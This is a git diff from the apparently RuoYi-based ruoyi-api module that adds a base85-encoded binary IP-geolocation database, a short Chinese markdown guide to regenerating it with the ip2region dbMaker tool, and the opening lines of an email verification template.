zLi1O`Wjkzh$tj29J8a}@)|G(2+Tri#J7KhTCF}YcuF?1*IMBGMPOr4bz960f_tJPKj9k1oe1+D$627X^rmD#QC!C}4TzH(u z$HS3I|J)RXiz@w|7sDl$el5%4n8r)t6_vJ9&cjN$OylKnywYEn1YA++_izimRdcq% zm6d+qs^Fx?Q*ceC{ZpR155a-PO%>~{vVY3^1{rX-D!XV8+#N=<e#Z+uS1H(Zx*>?=|y7mj>m zcguRCaO@j9WEYQxQaJvNeNyTt;N&-cA5w7ejqkyH%Q^Yhe$|M-2h|F`_**+*FZttPaPnKbN#ZFu_}1^0spk2s+Sh3Y zr&s&^$$&%EzD^jlNT%h@d@T^__d*8F+B8?ZrF^!kP z?`eDujNJFc*TU;|`R{A5hd1cF8{rDg-vV#l<-a?>4c@Nt9WZj=$FGE|H2x)w+;_mg zf{~kRCyZSF*YG!*^DT_rcl@hiAbK--kBvg&MyIZm03~Fmm6)zZmYO@$PV6jrW6xYkUNZT>jNCa{GJ@j9mO$ z7`ga$@W|c%?-GoHb2Od{kKgV89>N58;%>jUli(?uKNT+6?f1D5j%Yjz7ipbhxMa8A z+vRX-+ephS0 z2d~-f&&gW&|Fr-A2P1bj*1^b~tM%~vyZt%&0RF+xWqyQP?(u!L+QVlT_xLk&KHOU4 zZQ%4hzD@?*N#mX2ZhQRRc87cE*i1NQkMAuP9;Z3u;k-Ti7>5fqUI;JRUR*I8-)k?HoCF-~wRe2VJ<9B3>^|H3Q~5a&j_k8L<@qZL$M@NPNu30o+-FY< zr{G|pecrvl_nlqQ?mJh1CB6=gC%zu9)OZ!1M8~O_!UK()_TSkwbR|7B!kZ&`&#(pF z5=oz}@N+bNE`FZI&&S(pyd9p7q)rAtTH|Bzap*nf9gk1c_#}KXlKQvfQ;_sF6`zBo zhq?GdjX#aQpz#;+x6l*JwHjZ8r2bmG63N&q`~Z?YJc!pI*~3G4uZ#V>nRt-y^Gybv z=leJLFp@nqx55RQQwT>i9)$yq8_Tt`c3CrC=Y-)LYulZ{*jzZz+EdNod^n=+;# z0{7bWc>;bJ(Jv=zdoa9Ps6Dr3vxHJY;)UZ?ff!$H!o(WI!E@}K*P!oQ{bXa9bO zgOvZgocW&L*L-j1jcL%{oC}}#z3o35J|AxVz3n9NHgHID!tnV0_Wm3Atk;D7{C;r1 z-7|@tn_=YQx4`)tzZJfBzy0faath!%nll%EWWT*|T!Tx^qj1rF+eYRsh8OL(^KXC` z!%O$u*MyhB$i@Ey|98K&5`PIU)tr~%75n+SJ;YbS<@;@S;dkLR8ea=1_WN~x3?tX` zCopnr*#!UXfRDF6!0WC9_J+~)nGPdYGXuWlfUk4u0ec>jHJ*>RMkm;lHh7?M(*Z_q zZ#%-s&2<@!T>NqveKMAwI~}ksk;Gf!=}7W3@Encj;(18=$;X4vTBi%#)%Rn%!N|?k z9Y$`wJz(VK>IrYu_=j+Cz+V@0kl%eDw2S|2aFJ;MH#%sy3pa+*yJ2&#X#$^l(00Gl zq?_h&i-Y#fT>3u?MhCAa|7;k|ma#2iH0w&nqN#oGTOc(JZ=3H+Sq zJP*I5IWZWyI;HTNnzQPlO-Hg18F&toeaOXwbvkzaLE8XHpAGRel&EiTQ6s!DlC?L% z&qmT)OT0Cb{cnR`h@QT-!9^G0Sx9oSago#XWXLAUywa?Atd();4uCwpU&%)*?V~^VR zm-8AU3`dUIJ;G5qe$;j;gA;IY)b^LS`IY=%?fEVrj{It8xqLYOt9?*@4o$$pul5+f zH#g=OuiuW@<&x7G4juFPVYuL!?JfC*aO9YuD+o9`_QM}G4)qj3B;dqXup3n$>&q?^C{%w;#;6H56eTLr=|H-_k?8VpeUS;$Y@l*bKnR**M zT5sRIll%W;Fq$;I!DZ%g7!}?HKT&Vv&-$DM9-ys~Qv{>m?}dwDbVmWa2u7~vVi>vn zC2&c-?Kh2_&`bUxLxYQa=WxEa6i4)q4Bs-SBJh8})XM@Cq2YoR#of z_4Z5YXEpq`_VW&0rZvmqcXi(P;5GI3T&cenUZ*{;hby$^78s3{xju){|D?|^V06Jf z@KzYPecJ{jxAyHYa$|SEmAVgA@R#*=i`4lF{zljJEu7S`DfmFWy-n6~5JqlKet>K0 z?I4-=5PZ1azA1bJ{-4hE3yj>J)WUW3c8BB~g^?TkD~y)O^*sh3uebAMuHRtfuF>!C z39We&{zI?PpD=n#uJtJxxjnCkk&B;(QCrFR3r6mo1Tb>f&Yb2wnbSVM8GOcR+eUgg z6K;Om4i#`ZWKmw?SvK3*N2u_rQC7zS#$(5mNIz zICyjucxZY0$!MYGzTd*#P3qrM; zSQk*hdsQl+Kq9CC0Z$MW>Xs-=s6gib&dhoG{GQ+2_(1d5E8UtOgqxbb z?&|W7z(=*uWAO3ja9o;U+Z@*4Snd%vta%dNX2V=QhwE%ulkM;hjei9rf6duxzix@# z9&3eLv0pd3HLr*FYM)-9|J;8SY+HsL(~5X2d8`A! zg}w?-w33P}es?Yj+q4ijZRn?se0(#%2Nl7#jSRg7HYdO*$j7g{`*K@y+DaSuoDjjb zt(@g^PK4XZGS}9eM9xXF&*ew3g?;>F_+-s#FE+1z$ce!T*ySW)+g{rEKGWe-#Q(;Z zITb!l?iiNBchWk*r^{z$hR=Y`fICX~H!q#UR&|n-f99FI8n&IJ-_JZpna*O%GaL3MaacOF{=>%tWmg5unw-woNcg^nsBcIV|lwc__QrgxS&dhE8;Gb6lVMrU!~{cFUV(1&eP zdLF?oYHpR%*UW@xX+I_KEuE$8cls&qEKUa`<;)hildC5Mx5(#|!E-u`f4-dy$2-gD zM!s_x!HLe|U+X1d=`3&jme#@4!}~hR+`<;;oBeQu&an}0>MY|5`R?Ko_S zvTmJP_B6*}+gVO8;Qa*Cg=5`C`XAso;?m*My2v>jS)UGY$1XCiRm$n66P(dS{&#JQ zOp^&`b&(q<^Bu@+xJMURIi2&jC!Etoil((V)#So?UBaG>!B=#VIb(PxzY<1%tikZr zUF82d@+>+8zD9F~!v$Sr=(3jlEgN`b7fJt?aYw;pyGV6 zRP)Q=`!xT4INn8`YsY7Z5p27Ne~n-=m`jGtjPaTx8_vrJb;e-y>klo?G?&B3=Uf3_ znGufBVEF0`@vnD=zy%r7c{=A&AzYLZ*0va)l_9l1wm8R>z@-_|^ID#1%i!6Xb2~gI zBOKqkF#6ALX}!%|@I4u_`vB+iy>MLnkKn}_;rN!r71Zp$k6H=8m=V_eB^dcVzYIqH z`tUN0{9alPS7}Z){6>bnI+#SAy>I|va&v)e3z=;eQ2qZ&VkA4hIIn{kW$dY+ppX~^~82JeVm|DEtG^>@nQ&G&`F)5x zXW^cj-wW=e{q%*;(Q(g(b9Ag+xWD!@03O&)>W1*ze-NCf{lwtQyUDh6{;lN|@Ri-9 zrhV%HW-y%JP5zs2dYhr}Fdgd}xS*RX9>Tl|;p?=v5%5Uue-u2rn_QO8T*km-wV!b? znwxLVG~?lkTEirGvc{*tMH(-Lr)!@x;8{9u34CKWDa>a*Z-Q^`CM{k4x4@-Ze;GVm z=YBhUM>jd^57cufJV*PP3!`k;_AdBtt@9oj`D1i%H;JRinM;IQN5687_ z1TWN@7r_r}{LkYu*6Y=(^Ryb-HfbX^Y%`h;WN8 zJdk#l*#RTJPrf1txpj+hi~Mof3Gdc9ehrJ}*OQN2PK4V%x|hCz_i6q6;Relbgb!$K z2jM22*Ae)ruE{YNO*xR()f|VB-}B9|)qIo1GeA~2@6zGitZ>er5C1VM9QQo<+N^L6 z7Qj=o!ns)lqk9gd^)SUS^5^?h_!fgOGhbyw=_4L-fmjW-(l4lR3 z^))Ntsw`1_Cb%En`oF_HJ&BG|@cvSV{ObH7}Ep8zLed%5(SxvN!VT?_xrY2a!tEZ2D|(i9KTXh97k~CN~!Squ)R`dPU1C@8BG3Q zdD!Q}@xijk9<>4SZt0^s}k_dnmYlzP#Z$9X>5z z_MX9acsjrx^W{Uwo#2dodERj*+%sQFU4AdPPrj5p?hBujFYg+1&V_UGWvSy_xPQKM za6ACMGGDGNB7ZP^b-v7T@geZAe7V;3a}8XOF9#eK!Xxvg$c;M+o|rEUHN+>uMfozu zwJnCH=gU@?KLehXFOkbHfp5&03ti4laGB2iR`_16;XZht&gDV)G420xxLnug3HYyC z+mkTz^ZgtAl-BI@GrWy4RE8b?XU15t^Y9myRPj~ z__(fZGi-H#nxSG-hK4=X5>6c&*10u&!q8AdTll1*VV|4~rw(irErDTSqVR{b9n(?rtz2IS9E<|g{!pYYB-@aC*d!&&M)CQ zjces7p0EE=zek=s9J z4}AQZ&}TD@eB8pwk7b5)Zyg?vZyUJ%@K9SioHaa*n+*>f9`Xml1;fL!D1^rj4|{JM zJZpH^ZzXW4#>?P2!$Zw;;YW0=N8!c8!`#c^=ZA-V^#Z(XxD0jc@G|_i*7FYh?(k6m zd+=)Qa}B&r>--#U(0C(kwXM09xm+vPZ=la?IPY3n=r{%!T`PkZ!NqX=TDi)_BRHY) zBy6vh6)tWHh!=$XBy0;bUMTj1>q7j)>v&$hF2py$8?Os}egbd4F4V9Emg_&W8Jpkg=6;UpQxkJnrJTaQ_i+*}?(h+jA%PE8BXnZal*R~P7P{&;aKdkwG zhM(8kUV#6pZC`=k(AxeDzdJ(Cas9ssZ`2w-fp=)lU%`7d=Ue!I_Hz(Es$(64k87XJ zu+_L3$-0fyb%S$8hOu(typdt`*##qijCRAK@p^cl*1R8X7#WUfBiy9*9D$E& zpT}UUHJeeq4>Ky{r@-w;h5pmwtWn|kX2abz-UA*uD(s&@aKWfB_d>Wx`zeMOj|%Hq z4p(SSC0sQstYEo z(adGEOh|GLro$aa%d<1!PH@I(Nl(C;a1L@gx%efTb19rRT1L2>7+f$~o^)IY7mb$l z9T&s1M#~m=%_)IPHC_hK87R_ZDM#ZX6TFY6-W}cq)v1 z4Xxocjkkf@j|p>3hqK0nKC|IIV`R4Lzb~9KMqb;&zvan=2aXA~4TAGDKL%etMlN=9 z83GrK3F}`7kJSE0!N?z@(J*?=t-~02?3gh3ad6R?a7>F~jC?)QVC2_rI*fdu zGvHY|#}c@7jI4F_l)-bfhPiNDb0T=L)>#f$j0wl35`J-vbaHK9f|qOC74WMX{})^} zChVVT_#>UmI(Yqd%IepKo`#m&SX;XO0cWr4Nk! zy7h(6)tr8Cj<(H(^TviXjKNov?~dINxL~Zj?T%?7JZfy1<7gQ9H5>zv9UJz^IJii2 zis90+VP0kMgJZ+-oew{v^*jnM)_6Hwq47$1`Pi_wE8wcJ;kZ=8D|OseaAIsYzDf8a ztzjL!O>;hn>omR{7LC`#d$sMi@Ntbd!&dXnIOZ}=j{d{l%i#Dpx$J2;f)nE;({U2E z<7A3sGoCdZFRwlW$Kd#Q>G!PryckZ5mrc*WN!X5;UM|N>Ab)~f@AKjK1Zi{}!HEe{ z>HCN61i8xRPb7b$#9cfF$0y2HuC@qHOq7-`Ckfk$p-wYNY@12)l)D$70NY6tJrA47 z9N)>Z*6|RyXtH#5TnxvN;|Nbo4sDaLoh*O!ZKqJf6#3e53@(}y`YDFvQ>4hZg%?i= zW0k{+DWU%)EXd{5<93Q1bG4Zw_H&WE=QtbAD++za;G&{XLopmL3VlZK;-b)JIb5On zm2d*N{*$;Ag*xluecEywS=AvdoWUWD9Q72~DItyLKwM{cbmd@*uk zmE#r2&7~5rLT(+Z@h0Tj9>Fcz>E_r7AJEzk!cCzca|E|q8(%cH?Te+Cdsa+`vx=pq z<7_ymST;J&h4YH#vh{EbF4A~0950p+Ts(po7t1$}%i$+9=P&SIwa+JE6n8m)gVDd= z=X(WzhnEz~6c=9#Kc)5j14e(^!Rx-KVdU$127Xq@dJaauh6)(@J}coW9k&`@uk~+$ zYqV`GY&CACGWV(B88{m*m>Qme3*n-v;TgCXE}a^lfy>~s$yIO$+lahD)b~wJn2dw4Yj7rb(t-w|dx43u|bm zbI+X~j$;e>gy~`2wlMO?@kAK;^=E$oF|Vj4EB7XTZoGuZ}SCd#@9Wd`@Q=`Lrc&h&8Hb7ACPPn{3ntLtzdjQs1b`=?7Dx@<>kzZh=g zniIiGwC1HS^8G&rBj5HP@Y6chGw`!I)^jlOITbMS>t6}Ks`dX1M!vS!VB}xly$&NE zuY!?pTMe(&dR9?0a`nXUIC5(e;R)o{Jc(Q6kHx#>Be&);JdWJDMR)?aJ(I*O^2g#m z@{wEf7#??W{o@IAJ#CY?MShN}`R~ZpAK@1H`q#k7ANRFzLg$i%KiBvdF!IO!OBne* zQwJk|+_%F!we2o=cc{U94U5)L5AW5SZ(*zbn;Gn%88T?RyGOuzGvsc^F}PrcG&?SY zi)Kic`@EwVE}bD$9hbp(%#e;Q=T3Oe3|T*c&%5Ws@fk92g1bklrx>odKCFKwTyuR`pIW%#`mk<|u)RLa z*UaL&H!Ix7Tg;M<$h}wG2`@t1YEma}n^X~Q(Y@QbHm1SoX7^iF zZD8cr^8^_AXW+Ilx^*Y_#1mok1Lu)x2cvaM>Hj1cE&qV{$uQdW8TsuQ7v1q}%GnVv zs6|D}+4Z;|L!V*agV z7Tjx={L|(1hWlupePQ&EBF@3H;B&R+elYUy7o7*6KTDo}o}3Hd{@Qi`jC|V*;fpkX zAUsIp7qgzo)gR#&`TReyACOz07#>HbJe!gk;R)oP=aaZa{`ve8@{xNEkKu9Tp6w$% zf!yomOSS6+bFIBXanb3HlBmp zewf-T7tcc@KIEQ=7odm8Da7q)t#b^FWGm;_SQz=ajGHAH$eqiXcozB&&c-eJ%smf} zpC#>)i>KpR=)hCt;5n!doQvn7)^H3jKwIHLya;vRI2PljXbAB#JdVZ?kMPCl4dUf^ z1uBOt@hWt~Qz?C_@dUci?FYOD&4FuiK}+F!yaBxnH{urg`X|hicIbmmsohV)JE2Ut zGu{h*1NX*r(OpF;-OtA_MJ+d{cE1cCg~kydjTfUSp`<(hLBJ|FcW zz5p*rb)Tm8dIEn2#cBI2z8t+n{tEmpbQ$rt@g%B*KfrBVk5L3K(Bt?J{D|(iN8u%5 zkC~L+55^1J|L5LXh!;8W-GE|zmc~o)ICA+Bz8tyFtXJR-$bHA45x2;nn<*tS2f1h3 zxp)G(=ffm!HEvqMDBPDBvsH<|FBju+{gynaEn}yX%8cJPdDi>3iodKloENTD5Z}%l^T${cgOHJ za_3!yTjb6oa~h1oJss{)5w-R}ED%a#J82Qg5 zvSGA$LP|%|9qt+CYkI-GOTu;aO!!>gC;ebF(LHya2M;Wf?(Vue2)U$2`7^>T^4}rJ;~Ye8tXw<~xo6ZEJ_ot;WiB2^z8-uba`i95*K2$O-ZK`)>V=&)e}i$gSI4{2t`` zycdrne;vRpkn6J&uR^Y$YJ5F%{cpgVkgMScZjoP;%UKiT#>&O7My~%MxGe~6O(8r= zuP3A7@w!hYP{YKqpCdehPWhPg3$M|5EiTACTh`+i4Rq(rBzSVjH&f^bxo6r47xee9 zQhU|oc4~;5X&kQ^?88q}Gh?_#{@j^K9Jy!p7#>Ieg(EzH&f{4kiCZ+2xVfHuG}}E_ z;Bn-hHzGWNvdKx}7P+=&7CFd0pG0^9xoc4px5)Qd0we!=;RYD_>%gC2WC}|2(sqn_%Q~ZYGBO^B!)If8Y2PxJ>)J6-NHLbQ^O)f8LyWb_|cBotsnpM0f(F zY@trvqP?)0O+LD13;B2)z2)-p1Ul2@;}$L5lG?}I4&PZ4UcbzNk^e5iT=;(0(0!jI z4kLfvh~P){TK5=?es`~f9*0qeyVfm+(PWOJDTmRLDO`)5D3L7W?lswX0dn6TMVf!w?*@harzQjIqtw^og~MgDu9f1~Z+!&nh+k*minA&y)<5pI$H9_do} z*^qCZBM13;;TE}?O$ChnXA_k$@~`!thmrq$;RP7^&n#Y~ALQOkk8q3J`|#!^;>f)Z zA2~<ie;#T8k4LQiY_ZZ<8`F_?CN4~A&MCdcZE%G@@;>f-K8Q}@!-$%tQ^6x`_ zKo0VC;uiV$OFtwZ`R7>NA~%-#h_ywoo){iSzAc_WZrmhpk$<0d9r?(O8^hzszfX%N z(DiPrs3i)O?{Jmb2_rb_N zAMS^de~;+D>^xe^m{R{Ve!QpFUKp;D&m!R75d7w?o*8?&<^5Bd_8IbZ@_C% z@zj)FwYZ>5;d*=@>cM+W`*Hh&K7alQ|E%Z5FEDbiwM_$z{CjbYF!HZ?e}$2I9c_Mt zoAjD+1U{ZgfU&|bak$)Z33?m=6F!FJ81Mj`u5MIl~;N}~``xO?B|0%?yKau~Z z@cnjkBl$Om>t_u9<(81&a0~AP-x98whhgOJM@=yD-_<_?BmaH-|G~&#pMQsu{|^6A z82Rh-F&O!4`*9e#dxvR;k-tw_82NjLDdpL|G}Mp<7nO$Eis91IP(v9!r!>?y7hYHz zYFGp>E)BJn!%vp#Jq7-o_VagmiN=@0720Pdyu38jwgRpy4Rfi66FOEBUSAq&-T>F= zxV5k?4eM;mc>Piq>d%Dp%0m4yI9{g50gXc`rEUHrZX2!uMq0yxYQSs2E&u zn?FZPAv{)d#=(!=CiAEA`teb?;x<{rIbtf|s@wdzV5;Gj8eat`w4WsW>23a8Gn?QV z&8daA-R93z^EoV9Lp{7#bH0U}Zu94$IRYQmK99jxbIfdBd(QUfujvF2oE_c=9t6iV z9>EXJ_UEse4=+ND>$V17uXS#KYqYjnIPdn*PwaNax;?DV3b^AP zq5e*Ha2)Rl^X&!q*Z2T<;2mMyL2#bt#NYyr7s5q%gc^!r(Re+)?~br;`{9N=!a6j< zO`3lMK6*!3w_~uqBdnXbljr9-vRZiVjn84t=g7?s{9E7%KCba*82#r!TCTA$I^_Os zmzgWAkZYTYr=iS-v|erS6Exlyw`p_3GkKf2(h{9|Fs*wlJQejnnAWj1egcX$r1fiy z+Y>dv-CSvbTsOC)0oXux{CScjVTy2i_C8dV1l#HGU?3 z4sz>rE`Eu|FU8{;kMKI=)_*%L8n4G2G~S3G)%Y>|xW=1ti&`}E@8;5}2f2QF;Fcdc z^smMEp+g&w#QzA^W>3h`Q3mH z^Cb23d2(iIO3&7K8k+QVO3ya9MF;rJ1ak)5ah@z}m2#fx1ZT_({~kXR&YCAx+5G*r zY&dV8Coz^80GI4IG~@ zl}nj>1TUX2?VsZ}3Rb{X^X1B=DLqUz{PuiVzl7h@dk0=QUmBmK?JD@)`I5Sn_4s9dcwqFp&N?*V+S`gN!13W#VuZG`P5RUJ^VbuS}v`q6R z{I=%210%myD`9lk8v0oUuhzM&f!AvO`!FhB+p?ocz{s~v!XGV=5pFK);B5=!XSdFu z!#lO@E?9Jq_3&Pee+%zh5cb=C_-7sW7x;kY9E6*+?GgB>#*e{P+nR^?eBq&R99ujj zS?CkE8pUV}#o_IL~v)fwT7kz2QNyaIg;SK?L3?Zaw3f!sPL@ftM3tvN2J^BRsX-hkYiG~yQd z>s32yLoMEKnU#*`Aa_i2@jT?tyBJ=8)=+05UWD9vRE(FRrEnP@M=Rk7UyRDBp&YM3 zUlOmx6UeP?5*OsouX?-z`P%UICxzpij%Oja{@HjQ>c#alh8H21UyR3*yJkjs1v=!$ z!V}1?c@h`o=2(w6AUDTGy#2{K7M_LNdS>H!Xt|p^UWDAWw-_%)Zoie`PVQLTipMn` z;T5O@IhA+(dQ4*odoJ+mJERP#5%o5LP3TVUj`MKv(;>sbre z=^VGiJHxfh?1Dw>tcUk%o!`Ry!u7%Ihkw@iFEH}=tOgkQu^Qn6+W$cq`S>BYN#jRg z+TeSaDc=kentuwd74`}{8_%B-jU*RPS{q@Z(g^{oADfn5f z;W@Zsp}$9%O86Dcc@;+P+Gzd-SLymx!*4DO&rxr|-|M*hVC3uH&)om3bI0uupKD03G!^3cs<{W{MKaT%{?ZR+vF^k~Ea*}&K=LgoU zeL})-;r<2wtN7p4HBZ7%O88CPzrlYK{~NjH@9+}wzsGBq!b`>frmlGkeoFlB*_waA zPmBNUT=NY4jQHQnHP6D&ivK-c^Bnw~gx}7s;MuYwj2pp;3i-UrSQ935xn@N@H(X&PP`;9ebVwQlZ372m}NXKEepTP)Cx{p z7TUIf+r#d+(b8e`=Cl^w%qj3`%f$cQS_in}GI788Y&yXi%cSK5ezz?XM$;$q8(Cf9 zZp-AU8N8m#g3&EA_|36wI8WQg-~#Ql5H4CK{oU`C6~m>=r0@m$DT7h3Dt-&@R`{-E zvb}=eJGvW=FOw;i)DXc<%ff4`Bd}d2Z;j_S63xr-a-JRCTCISq^mneRnPatl^-t?2+0T3ifALo6^Gg`{oH`i!ob50w zYiilo?0|pQoTD)E^&f+eYko6qHE!Of&bPIGIPrGKPr^-ahc!R)wlv!ix46@D2h%Px z<{hqw@5md!w8%Am-{E@rj=ZwCMehi==;2>jpR-`(bIyj*=LggJn{(iP8b1$4uC2*| z@7H*oK9TPex5)Ps!4=wnC5%pQV65li7v7O)%3Jg|FTNuQbXh}--bvgdpYsxZqQgJ8 z=ojI3ndZMt9J%}mw+YQp!uFl84rV31GOU$Z#p|6_VXa!i$gh7Z82PbMS4kYX^^b6i ze7rS`{IN@ePtbna!pO%@q%Cs$Fml{3w2g3!{2n-oICA+BZc*AHelzW482RJg9!7p| zr^BbN3j6Rh82OwIF!J@E4kO?H8E{8!+X>Fr{O*j4+*~5uBDbEV2aJ3_Jz?bg?*;b` zb1`Sa$mjQgksqrsjC}rC^pE_!aEtu9oed-3|2c3!%|8#$(SCAa<J^2u^4`3EOwWUN!H*tMy*FhMYAa zo`hwMj9JY+s~+CBCXBToZqS@YxO8oZm#t;)YePSCVdQJO3r4=?yVr704{`oZIJK=6 zf2<=ou{PA4gk^1*OFj8k^KpyjJ>7~Wg1gkStHJpa4|ulX=MBdvw4 z#?42Z;~$0mLRdZu`Sq~XxLL=u;yStG7|&*H;P&fe>qK)Af4`V(`#Q;;1b2cvuahSx z@q3tE;0(>rguAYjM_x(oZ@R%*nx74$kwkeP8`B%VbjqB%17(G4F3^aq`tF`|j zFuHMkYG0ENqc)TH&B>wguyu0h8h-2e8n|Gc^snL?RS1t?Ctu%X&NmZa2Q;WnZ1B)mSv%?4Ps{(5+y&V4^@^%$A|FxG#vVI{ZIH@!+cEqWBJ2i zp0Oji;$vAp)_ryiS82Q&Uiq<19L#5ktKb^Vsf9&z>S3#Kvz~pmUN*RX(&4Q2q5o_+ zXMN}=7rt8KL*N38g z9qzbE4o`qP!C9MR|5!MietK<^;p9iSMPH65-g}eeq5czE_KxB9%#dUHz{ro)7tYxv z+o{3i!szvJE&G`BVRUs{zB_#ZJW%6<;5@A-29Mn&Pq})=!9|)}}%FM&&S?qzU%liYeI>kz>Ub*x3q7j>r32)F1n zm-8^ZSm#m>qt7Sse%BK)^7Z_Mwo5{t5pI!>FNG_#{z`JtyY9F+em<;WgvVdlBpsM< zgvVdhI39mV^;SjQo7}z{nq$Z{Y7V{ymKR zG1>TgEwi~Qc`1ZQmydpnyPco_L(I)Sl}+vgEpf$n5pmAIX#Ig?=IkMCp{`L#ebw+v-G{4ai~Ks{Hlgt(ag^rP8P8iE+Q#rW@^ReOXrHxko$lf7 zuxt+3u6lT%o;&;DA9WA>1RvTQ?#qW^t8uf1YtEK%uBF2rw}k6br!5jkbGSD}xJCY& z&>2SV{$je2gWMjAaGSA3#<_SVjC@X47`c8-H}a7`mvNh=`Pp!e){qMi41JnGTO@(p zy)}u~AlJ4Qw|OCMV(`^l!nr&IM*e=94;O3+*MUODy>5%YA4RxD1OLTuVvm5wZjo2q z^T{~4NNX;JXKDW>@GV+fDU8Oh<};Tvc#h`Gg^@e&%w6!^TK_$ai~RYBCy+mvaeJ@k z+_y#YkiRD27Wut&KW&j;TihadPMJ82{P`Zi$j2Xmkv~TBXp7vr8R2%J9@9m{k-Nr5 zxJCXx@-Q`^FFDs@xJ53<{F!{@?+dtnMEie~ICA+BZjsM_jDC>IkKq>i_~S70wJnB` zAGaJ{qQ`D2T%pIS60Xv8aLD6n>7Ds@{#Yy@hu@9;TE}m zOeu_f|7Gw(t!)v!SnDZ=muQ_!;iqb3k$WEg2Yn*&IIi{&b z`XJX&Up#?)J{~_3;t_6-hPXKfTb-||WpCHY4Y%?)#j@det(z#3U}0aCpc?s=sz3o zzf}$lCuabhw^c55;>LVyhgw8BW5Y@p{;5 zTeFR}+d};joY)rHCSlnoC%L~dS`XW8($0-#K8L@MIr;AM!7q7c`%<2}ihpB;TeSO7 zS|1a^i7(~v?){AXX0^CNiS4tct=bM+UqWvs| zpWY!W-B{1S7238EetCzKx%}lY`q=RbxN3(?9ZP;SymE*1e1Z5X_vzb>ZmbP3@_lZEKh^p-!8JSNDmPXwyiM~zhwFC8qi)>o@Xj4l?AB!04vBxg zLmp%95pG3mt|$JD#&Nq>xth%`>f9yCG3@6{;k;ea)4kUhg9~;^g^L%$ zV>M?Se51y1f=hSFLoUAzj%!W?Ke$WwxVH1*B^qA}qZF6_)Gmo5H*SR6e`udi!)T_< zc?N!7+r9w5ra7KR?6B?}1<72F-7T4{J^njQp`a0w2|Wj=@%Q%-8VO`h5>!twcWZe`_1A5dZhf zOeOrHNUOtX9nDMdatVK%Yz15;vd{gU`f51A&jPsjb(3(7i2pm$wQ!w;@4#$_cS?9~ zd>1St6{Ax5yJm2M$dK#krxE5qxWBh<_zyO#UbgP$Zz*QO$bbK&JA7unjQNGn1pC0q z{cSbV7e2dQ_D^YXmN^GT?@Z?Nmvdp{|AtyW_&jZ!10(-=R&KpC=Y_b%O|0I3Ce;FO zw)OtACyP6U&#LyY$M%HJmCE4T_vmMc@Z3H685w++#_xua|J>~!82NGUg^~a6#CBxQJ`?N! z$G;EXb&23dz7IK%!mn!1zu+p3SHsQUOYCr3KV!e=n11i)YjGzZH~VX4@4epeIT}9~M*cI(e(+@)|09fiejbecTE*aZG=C+$dS6(FHE@l_Yxhyx54zue zptc`$zx~KM{}}Sy!5Ke>aWml?e+u!Ne&W9KQ;6?}k7@ikjC`HVKhb}PTihw^=bx$b z=dhkJIR1+s$6v_#CDd;k$Y}`i7#wfV&(z?GhOkzZa8*M%H>=@<<|pBrhOj2JF!F2i z8EmyJC%?^W49|NpINlhZ6(cy&7@qf%ux-?5ykEIK{3_es^IkR_|5fv0`>Q-~4bQ;l zH*$UpZL{H=-$G6e&`4I6#At!QtIE)(|Cg*S% z%QR6#Q|Lb%&T9(K#xb~{DYPwwi<&~6#c*8X5iCt%9qM7*qMcjjqz(+NH3`PfLo3qVv7+rEd>(dM)|2JMOjQm*K@L<~}W-?B>^0t{% mZ=X3Md)i&uH{DQr%k0uSZpxl|d-esn7o4Ay+dn6F(EkJUNB61# literal 0 HcmV?d00001 diff --git a/ruoyi-api/src/main/resources/static/ip2region.md b/ruoyi-api/src/main/resources/static/ip2region.md new file mode 100644 index 0000000..b2dc5db --- /dev/null +++ b/ruoyi-api/src/main/resources/static/ip2region.md @@ -0,0 +1,11 @@ +# ip2region文件生成 +- 1 下载项目https://gitee.com/lionsoul/ip2region +- 2 编辑java文件 + ```java + cd make/java + 生成dbMaker-{version}.java + cd ${ip2region_root}/java/ + java -jar dbMaker-1.2.2.jar -src ./data/ip.merge.txt -region ./data/global_region.csv +``` +- 3 生成ip2region.db文件 +- 4 替换db文件 \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/static/templates/bindCodeEmail.ftl b/ruoyi-api/src/main/resources/static/templates/bindCodeEmail.ftl new file mode 100644 index 0000000..24eca4f --- /dev/null +++ b/ruoyi-api/src/main/resources/static/templates/bindCodeEmail.ftl @@ -0,0 +1,8 @@ + + +

    anHI9n7y8Td#L*@0}qWna>=;k@_{1Bk8}6Bkjg8j$AWd&yhSF&XMD~fg@wT z8#&U}-Ncdk&k-CsM{8WzQ=j|Lh7k6;voey_%q`XbzNIp#GNc(md z$I!<0$P7NKDogire9#y}&gSH+?jYF`g>WNh;g$7#=~3v>9~>KNzo`D4qt zXaPsg??R5`Pn|z1J%86GKgN;z`#49|13$r$<9(7N=jE>)iT@Nw%EsUL)7827J4fO_ z!;$+Y&vGOU&v7Kq^Bl>O7dSFjf01MNugtr?#F78L%#nWQ6^@j#S2@l($lUB}9B;R7 zwPEdbj-1ms_*+$5`ZoVpm4<(Fqzo+LNc~#O->u5hd;F6s{-+$thtD`tRzK&+Ir@Ts zHMU$s{g)%<@N15Y&A#DC8}cnj`mg_Sq@DSWBisC*BX#o!j+D0_Idb3gCyv|)|CuB0 z-Y*>4=C2${&u<**zgjqQ?6q;mHsi`1S}Ts^e{0@mT={PkN7CPxBWu0daisjT=g7J4 zz>$1gf+OKea^$*TDUQThnj`mxm*GeqS(YRHMMsYG7o9k=&E+_kOtB%K#?q~E`UBip=`BW3k6j_rE5Uwk=7;#|Rz zeGTNuT+kqn#JQ3qee_iv$=j3@|Y|9y>P!^ZuZ*Ey1gH#m~#Z*rs$`Ugka!G zA@B3gs(pRV@y1ie&tLFws_<|5_f`BK_>WaP@DoR_AAjb^9NjM*N&l}LdH3dT9O?U7 zII?!GHoo41q`wtM=2BX7z1pgLweh7qug<%UFV_*>IFin__$K2^J^dX=!Z+pptMCE*%ql%+aior% z&5`nOj(wt0wp;sc(1_E<@6%QI-~Bddgg@iAr3$Z|%P*|9c@e*KeCanY-_O54NveV$Cvdgf8}U8#dX|M94TXe)ADIkNqq_%BtQUwKP)zG@Scw+W?9XvN!2sOCd>`w8`Yr?mq|=6sgm z>rW`#-+*s8p^SAm;>dnC=DjD>FWjtYy;>i>X%%NPzQu%cUbf^rR`GY@yG*FBx1?uI zcjd^lfxGeDtN45H{U?+$>H++)31#i;;rz%6GcFPu>3zUusi3H3vt zbYJyFzGy=I>L<-1Eaoj$cdPNFF1fyS*V=I$ zd9T{>{Dj*|zkDJ`->L5PpTy6s;+(~?_AO1lYG?DSs_?5hGF~0bkv`}ej_(`aMZK0I zZSN3{AZaVB!4TutJ5 z?x$9()|xpohclTY`7?zh>72@u`&PGeq03Bl-3m zN6yjn9666K@E30@fOaAa)rPmZ+7Z*k<<-{we}`4?YwTUpPrm?LR^ha>&(yBrtp*=~#4dmJg-?{nmw 